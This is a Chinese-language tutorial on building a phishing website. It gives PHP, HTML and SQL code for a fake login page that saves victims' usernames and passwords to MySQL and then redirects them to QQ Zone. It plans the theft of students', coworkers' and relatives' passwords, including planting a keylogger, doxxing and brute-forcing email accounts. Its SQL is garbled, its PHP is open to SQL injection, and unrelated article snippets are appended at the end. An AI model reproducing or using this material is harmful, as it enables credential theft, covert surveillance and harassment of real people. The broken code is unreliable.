钓鱼网站开发原理(社会工程学)
钓鱼网站开发原理(社会工程学)
- 一、课程简介
- 1、课程大纲
- 2、课程目标
- 3、知识储备
- 二、钓鱼网站简介
- 1、什么是钓鱼网站
- 2、开发&原理
- 三、PHP环境搭建
- 1、简介
- 2、自动安装MySQL/apache/PHP
- 3、安装navicat
- 四、PDO表单入库案例
- 1、语法
- 2、显示登录表单
- 3、入库(收集用户提交的数据)
- 五、通过PHP开发钓鱼网站
- 六、生活中隐形钓鱼网站(人肉搜索原理&提防)
- 1、社会工程学简介(社工)
- 2、社工实践
- 1)需求:获取学生、公司同事、亲人等账号密码
- 2)获取网络用户更多信息
- 3、人肉搜索原理
- 4、生活中隐形钓鱼网站
- 5、提防
一、课程简介
1、课程大纲
钓鱼网站简介(是什么,怎么写的,原理)
PHP环境搭建(准备)
PDO表单入库(通过PHP收集用户数据)
通过PHP开发钓鱼网站
生活中隐形的钓鱼网站(人肉搜索原理&提防)
2、课程目标
通过本次公开课,大家可以
理解钓鱼网站概念&原理
掌握PHP环境搭建
掌握通过PHP的PDO扩展收集用户登录表单提交的数据
掌握钓鱼网站的开发
理解人肉搜索的原理&提防
3、知识储备
HTML基础
PHP基础
MySQL基础
二、钓鱼网站简介
1、什么是钓鱼网站
钓鱼网站:指伪装成银行/社交平台/购物平台,窃取用户提交的银行账号、密码等私密信息的网站。
简单概括:坏人制作了一个网站,通过各种手段将网址发给你,你没抗住诱惑输入了银行账号和密码。
2、开发&原理
步骤1:
通过各种渠道传递诱惑消息,诱导用户打开
利用传智PHP学科基础班DIV+CSS课程技术-》所开发的钓鱼网站
步骤2:
通过表单收集用户提交的账号&密码
三、PHP环境搭建
1、简介
工具:PHP study.exe(网址:http://phpstudy.php.cn/)
环境:
MySQL:存放数据
Apache:web服务器
PHP:将用户提交的账号密码保存到MySQL中
2、自动安装MySQL/apache/PHP
3、安装navicat
Navicat:数据库管理工具(MySQL),用于查看本地数据库中的表
#创建名为php的数据库
drop databse if exists php;
creat database php;
use php;
#创建表
drop table if exists users;
id int primary key auto_incream comment ‘编号’,
username varche(45) not null comment ‘账号’,
pwd varche(80) not null comment ‘密码’,
creat_at int not null default 0 comment ‘创建于’,
updated_at int not default 0 comment ‘更新于’
)charset=utf8;
四、PDO表单入库案例
1、语法
HTML知识点
表单:<form action="./test.php" method="post"> </form>
账号:<input type="text" name="username" id="">
密码:<input type="password" name="pwd" id="">
PHP知识点
//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
2、显示登录表单
步骤1:使用sublime创建test.html文件
步骤2:输入【!】按【tab】键
步骤3:输入【下述代码】即可
<form action="./test.php" method="post"> <center> <p>账号:<input type="text" name="username" id=""></br></p><p>密码:<input type="password" name="pwd" id=""></br></p><input type="submit" value="登录" style="width: 250px;height: 40px;background-color: blue; font-size:18px;color:white;"></center>
</form>
3、入库(收集用户提交的数据)
步骤1:创建test.php文件
步骤2:通过$_POST[‘NAME’] 接收数据
步骤3:通过PDO语法入库
<?php//服务器端脚本
//获取全部提交的数据 $_POST
//获取&_POST里面的指定数据 $_POST['表单的name属性值']
//打印数据 print_(待打印的数据)//print_r($POST)
$username = $_POST['username'];
$pwd = $_POST['pwd'];
$time = time();//通过PHP的PDO扩展保存数据
//创建PDO对象
$pdo = new PDO('mysql:dbname=php','root','root');
//执行sql语句(将输入的账号密码保存到MySQL仓库中)
$rs = $pdo->exec("insert into users values(null,'$username','$pwd',$time,$time)");
$realUrl='https://qzone.qq.com/';
//判断跳转
if($rs){echo "<script>alert('success');location.href='$realUrl'</script>";
}else{echo "<script>alert('failure');location.href='$realUrl'</script>";}?>
//提交信息后输出警告框提示信息,并跳转到真实网址
五、通过PHP开发钓鱼网站
步骤1:将钓鱼网站文件放到站点目录中
步骤2:访问测试
步骤3:通过PHP创建收集用户数据
六、生活中隐形钓鱼网站(人肉搜索原理&提防)
1、社会工程学简介(社工)
简单理解:
利用“人性”的心理弱点、本能反应、好奇心、信任、贪婪等心理,进行欺骗、伤害等危害手段、最终取得自身利益的手法。
应用场景:短信诈骗,电话诈骗如以知名人士的名义去推销诈骗等
2、社工实践
1)需求:获取学生、公司同事、亲人等账号密码
学生:角色讲师/同学-》通过PHP开发个人博客–》查看精品文章必须注册
同事:人物性格、兴趣爱好分析-》通过PHP开发偶像博客/论坛-》注册上厕所/吃饭电脑安装键盘记录精灵
亲人:通过PHP仿QQ空间相册(封面女友照片)-》发送亲人点击提示输入账号密码-》入库
2)获取网络用户更多信息
场景1:普通用户A通过钓鱼网站导致密码被盗
场景2:网站被攻击管理员邮箱和账号被盗
明确:80%的人的银行卡、QQ、微信、身份证等密码都存在关联或者直接一样
手法:通过落网用户的已知账号和密码-》进一步采集昵称、163邮箱、qq邮箱、贴吧等进行分析-》人肉-》尝试暴力破解(注:通过落网账号密码分析后获得163邮箱账号,尝试暴力破解,成功进入后如果是一个站长势必会进一步获得购买服务器等相关信息)
3、人肉搜索原理
准备:确定人肉角色
手法:获取该角色常用昵称、手机号、qq号、邮箱、微博等信息-》谷歌/百度
结果:真实性格、兴趣爱好、经历、历史照片等
练习
通过留下的账号信息进一步分析
1,点击头像进入个人主页
2,通过关注的贴吧-》兴趣爱好
3,回复的内容 -》性格人品思想
照片
还能搜索此人以前注册的网站
4、生活中隐形钓鱼网站
1)百度地图记录你去过的地方
2)微博提供接口(所有用户发布的说说动态) --》便于商家提供用户体验
3)智能手机相册同步云–》可能存在人脸识别大数据分析、万一数据泄露
4)安卓手机应用商店APP小心下载(注:避免钓鱼网站)
5)社交软件附近人/摇一摇(注:慎用你以为是女的,指不定就是我)
5、提防
1)避免在网上留下痕迹,如QQ、手机号等(注:可通过上述方式检测删除)
2)搞编程势必需要登录一些网站看资料或视频 --》 切记用小号密码123456
自己注册个小号,密码随意
相关文章:
钓鱼网站开发原理(社会工程学)
钓鱼网站开发原理(社会工程学) 一、课程简介1、课程大纲2、课程目标3、知识储备 二、钓鱼网站简介1、什么是钓鱼网站2、开发&原理 三、PHP环境搭建1、简介2、自动安装MySQL/apache/PHP3、安装navicat 四、PDO表单入库案例1、语法2、显示登录表单3、入…...
如何优雅地使用 console.log 打印数组或对象
一、背景 使用 console.log 在控制台中打印数组或者对象时,很多时候它们的字段都是默认关闭的,需要手动一个个的点开,非常不直观且麻烦。 二、解决方案 使用 JSON.stringify() 的第三个参数 我们来看一下官方对于 JSON.stringify 的介绍 三、…...
模式分解的概念(下)-无损连接分解的与保持函数依赖分解的定义和判断、损失分解
一、无损连接分解 1、定义 2、检验一个分解是否是无损连接分解的算法 输入与输出 输入: 关系模式R(U,F),F是最小函数依赖集 R上的一个分解 输出: 判断分解是否为无损连接分解 (1&#x…...
vue3父组件获取子组件的实例对象
一,ref 在父组件的模板里,对子组件的标签定义ref属性,并且设置属性值,在方法里获取ref()获取实例对象。 父组件: <template><div ><div>我是父组件</div><<SonCom ref"sonComRe…...
主流框架选择:React、Angular、Vue的详细比较
目前前端小伙伴经常使用三种广泛使用的开发框架:React、Angular、Vue - 来设计网站 Reactjs:效率和多功能性而闻名 Angularjs:创建复杂的应用程序提供了完整的解决方案,紧凑且易于使用的框架 Vuejs:注重灵活性和可重用…...
交易者的意义是什么?
按照阿德勒的说法:人生的意义就是为社会创造价值,推动整个人类社会的发展进步。 我认同且秉持这种观点。 而在交易中,你是否直接或者间接为社会做贡献了呢?这个还真不好说。 但是做为职业交易者,你的存在价值&#…...
io_uring
转:[译] Linux 异步 I_O 框架 io_uring:基本原理、程序示例与性能压测(2020) 新一代异步IO框架 io_uring | 得物技术 干翻 nio ,王炸 io_uring 来了 !!(图解史上最全&a…...
构建高并发Web应用:基于Gunicorn、Flask和Docker的部署指南
目录 一 理解基础组件 什么是Flask? 什么是Gunicorn? 什么是Docker? 二 环境准备 三 构建Flask应用 创建项目结构 编写Flask应用 app/views.py 四 使用Gunicorn部署Flask应用 配置Gunicorn Gunicorn配置文件 五 使用Docker进行容器化部署 编写Dockerfile 构建…...
【Ruby简单脚本02】双色球系统
# frozen_string_literal: true require date # 生成中奖号码的工具 # 红球 1-32 篮球 1-15 def create_num nums [] 6.times do while true num rand(1..32) unless nums.include?(num) nums << num break end end end blue rand(1..15) nums…...
Netty ByteBuf 使用详解
文章目录 1.概述2. ByteBuf 分类3. 代码实例3.1 常用方法3.1.1 创建ByteBuf3.1.2 写入字节3.1.3 扩容3.1.2.1 扩容实例3.1.2.2 扩容计算新容量代码 3.1.4 读取字节3.1.5 标记回退3.1.6 slice3.1.7 duplicate3.1.8 CompositeByteBuf3.1.9 retain & release3.1.9.1 retain &a…...
怎样去掉卷子上的答案并打印
当面对试卷答案的问题时,一个高效而简单的方法是利用图片编辑软件中的“消除笔”功能。这种方法要求我们首先将试卷拍摄成照片,然后利用该功能轻松擦除答案。尽管这一方法可能需要些许时间和耐心,但它确实为我们提供了一个可行的解决途径。 然…...
海思SS928/SD3403开发笔记1——使用串口调试开发板
该板子使用串口可以调试,下面是win11 调试 该板子步骤 1、给板子接入鼠标、键盘、usb转串口 2、下载SecureCRT,并科学使用 下载地址: 链接:https://pan.baidu.com/s/11dIkZVstvHQUhE8uS1YO0Q 提取码:vinv 3、安装c…...
JSON数据操作艺术
在现代Web开发和数据交换场景中,JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,扮演着至关重要的角色。它以易于阅读的文本形式存储和传输数据对象,而这些对象的核心便是由属性名(键&…...
如何验证Rust中的字符串变量在超出作用域时自动释放内存?
讲动人的故事,写懂人的代码 在公司内部的Rust培训课上,讲师贾克强比较了 Rust、Java 和 C++ 三种编程语言在变量越过作用域时自动释放堆内存的不同特性。 Rust 通过所有权系统和借用检查,实现了内存安全和自动管理,从而避免了大部分内存泄漏。Rust 自动管理标准库中数据类…...
55.Python pip install 安装失败的一个情况Requirement already satisfied
1.问题 以前使用Pycharm 社区版开发的一个项目,今天使用PyCharm 专业版打开,原项目的虚拟环境从venv更换为.venv,然后重新安装插件。安装时,提示Requirement already satisfied: qt_material in c:\tools\python37\lib\site-packa…...
Axios进阶
目录 axios实例 axios请求配置 拦截器 请求拦截器 响应拦截器 取消请求 axios不仅仅是简单的用基础请求用法的形式向服务器请求数据,一旦请求的端口与次数变多之后,简单的请求用法会有些许麻烦。所以,axios允许我们进行创建axios实例、ax…...
C++ 丑数
描述 把只包含质因子2、3和5的数称作丑数(Ugly Number)。例如6、8都是丑数,但14不是,因为它包含质因子7。 习惯上我们把1当做是第一个丑数。求按从小到大的顺序的第 n个丑数。 数据范围:0≤𝑛≤20000≤n≤…...
小山菌_代码随想录算法训练营第三十天|122.买卖股票的最佳时机II、55. 跳跃游戏 、45.跳跃游戏II、1005.K次取反后最大化的数组和
122.买卖股票的最佳时机II 文档讲解:代码随想录.买卖股票的最佳时机II 视频讲解:贪心算法也能解决股票问题!LeetCode:122.买卖股票最佳时机II 状态:已完成 代码实现 class Solution { public:int maxProfit(vector<…...
SpringMVC系列七: 手动实现SpringMVC底层机制-上
手动实现SpringMVC底层机制 博客的技术栈分析 🛠️具体实现细节总结 🐟准备工作🍍搭建SpringMVC底层机制开发环境 实现任务阶段一🍍开发ZzwDispatcherServlet🥦说明: 编写ZzwDispatcherServlet充当原生的DispatcherSer…...
嵌入式web 服务器boa的编译和移植
编译环境:虚拟机 ubuntu 18.04 目标开发板:飞凌OKA40i-C开发板, Linux3.10 操作系统 开发板本身已经移植了boa服务器,但是在使用过程中发现POST方法传输大文件时对数据量有限制,超过1M字节就无法传输,这是…...
不止于采集:用BrainFlow解锁DeepBCI脑电信号的进阶玩法(特征提取与简单分类)
不止于采集:用BrainFlow解锁DeepBCI脑电信号的进阶玩法(特征提取与简单分类) 当你已经能够稳定采集到DeepBCI设备的脑电信号时,那些跳动的波形背后隐藏着怎样的秘密?本文将带你跨越数据采集的门槛,探索如何…...
Qwen3-Reranker-8B保姆级教程:开源镜像免配置快速部署指南
Qwen3-Reranker-8B保姆级教程:开源镜像免配置快速部署指南 你是不是也遇到过这样的问题:面对海量的搜索结果或文档列表,不知道哪一条才是真正相关的?传统的搜索排序往往不够精准,而自己搭建一个智能的“重排序”模型&…...
从零搭建Binance Trade Bot:精通加密货币自动交易工具配置与使用
从零搭建Binance Trade Bot:精通加密货币自动交易工具配置与使用 【免费下载链接】binance-trade-bot Automated cryptocurrency trading bot 项目地址: https://gitcode.com/gh_mirrors/bi/binance-trade-bot 一、核心功能解析:Binance Trade Bo…...
解决unsloth中ptxas版本不兼容导致的RuntimeError: 从CUDA 12.6降级到12.4的实战指南
1. 问题背景与错误分析 最近在Windows平台上使用unsloth框架时,遇到了一个让人头疼的RuntimeError。错误信息显示ptxas编译器报错,错误代码是4294967295。具体表现为ptxas无法处理.version 8.6的指令集,而当前只支持到8.5版本。这个错误通常发…...
【专栏一:AI基础01】-【一张图讲清楚什么是大模型】
专栏一:AI基础入门-什么是大模型?大模型通俗解释大模型通俗解释 我们可以把大模型想象成一个超级大脑: 它在诞生之初,会先阅读人类海量的文字、知识、书籍、网页、对话,把所有信息消化成一套庞大的数学规律和语言逻辑&…...
窗口大小强制调整工具终极指南:如何轻松掌控任意应用程序窗口尺寸
窗口大小强制调整工具终极指南:如何轻松掌控任意应用程序窗口尺寸 【免费下载链接】WindowResizer 一个可以强制调整应用程序窗口大小的工具 项目地址: https://gitcode.com/gh_mirrors/wi/WindowResizer 还在为那些顽固的应用程序窗口而烦恼吗?某…...
树莓派Pico RP2040 I2C实战:用AT24C02 EEPROM做个数据掉电保存的小项目
树莓派Pico RP2040 I2C实战:用AT24C02 EEPROM实现数据持久化存储 在嵌入式开发中,数据持久化存储是一个常见需求。当我们需要保存设备配置、运行日志或用户设置时,EEPROM(电可擦可编程只读存储器)因其非易失性特性成为…...
FDS:高性能火灾动力学模拟的技术革新与工程实践
FDS:高性能火灾动力学模拟的技术革新与工程实践 【免费下载链接】fds Fire Dynamics Simulator 项目地址: https://gitcode.com/gh_mirrors/fd/fds 一、核心价值:重新定义火灾安全工程的仿真范式 Fire Dynamics Simulator (FDS) 作为火灾科学领域…...
驱动级输入模拟技术:突破Windows系统限制的Interceptor解决方案
驱动级输入模拟技术:突破Windows系统限制的Interceptor解决方案 【免费下载链接】Interceptor C# wrapper for a Windows keyboard driver. Can simulate keystrokes and mouse clicks in protected areas like the Windows logon screen (and yes, even in games).…...
GPU算力优化实践:GTE-Chinese-Large在RTX 4090 D上的推理性能实测
GPU算力优化实践:GTE-Chinese-Large在RTX 4090 D上的推理性能实测 1. 模型介绍与背景 GTE-Chinese-Large是阿里达摩院推出的通用文本向量模型,专门针对中文语义理解场景进行了深度优化。这个模型能够将任意长度的文本转换为高质量的1024维向量表示&…...
